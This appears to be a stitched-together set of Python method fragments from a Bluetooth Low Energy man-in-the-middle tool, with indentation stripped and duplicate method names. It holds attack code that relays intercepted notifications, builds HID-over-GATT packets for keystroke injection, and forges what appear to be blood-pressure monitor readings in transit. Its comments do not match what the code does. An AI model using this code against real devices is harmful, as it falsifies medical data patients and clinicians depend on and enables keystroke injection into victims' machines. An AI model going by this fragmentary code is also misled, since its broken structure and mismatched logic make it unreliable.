def notification(self, packet):
if self.getStage() == BLEMitmStage.ACTIVE_MITM:
io.info("Handle Value Notification (from slave) : handle = " +
hex(packet.handle) + " / value = " + packet.value.hex())
io.info("Redirecting to master ...")
self.a2mEmitter.sendp(
ble.BLEHandleValueNotification(handle=packet.handle,
value=packet.value))
def notification(self,handle,value):
try:
handle = int(handle,16)
if utils.isHexadecimal(value):
value = bytes.fromhex(value)
else:
value = bytes(value,"ascii")
self.emitter.sendp(ble.BLEHandleValueNotification(handle=handle, value=value))
except:
io.fail("An error happened during notification emission !")
def addHIDoverGATTKeystroke(self,
locale="fr",
key="a",
ctrl=False,
alt=False,
gui=False,
shift=False):
keystrokes = []
keystrokePressed = ble.HIDoverGATTKeystroke(locale=locale,
key=key,
ctrl=ctrl,
alt=alt,
gui=gui,
shift=shift)
keystrokeReleased = bytes([0, 0, 0, 0, 0, 0, 0, 0])
keystrokes.append(
ble.BLEHandleValueNotification(handle=0x000d,
value=keystrokePressed.data))
keystrokes.append(
ble.BLEHandleValueNotification(handle=0x000d,
value=keystrokeReleased))
return keystrokes
def onSlaveHandleValueNotification(self, packet):
# If the packet has a handle of 0x2b and a packet value of 0x00
if packet.handle == 0x2b and 0x00 in packet.value:
packet.show()
# The indexes of the data
index_sys = 1
index_dia = 3
index_hr = 14
# Create a new packet by modifying the systolic value to 0
newValue = packet.value[:index_sys] + bytes(0x01)
newValue2 = packet.value[2:]
io.info("Value modified to: " +newValue.hex()+ newValue2.hex())
# Emit the new packet to the slave
self.a2mEmitter.sendp(ble.BLEHandleValueNotification(handle=packet.handle, value = bytes(newValue) + bytes(newValue2)))
return False
else:
return True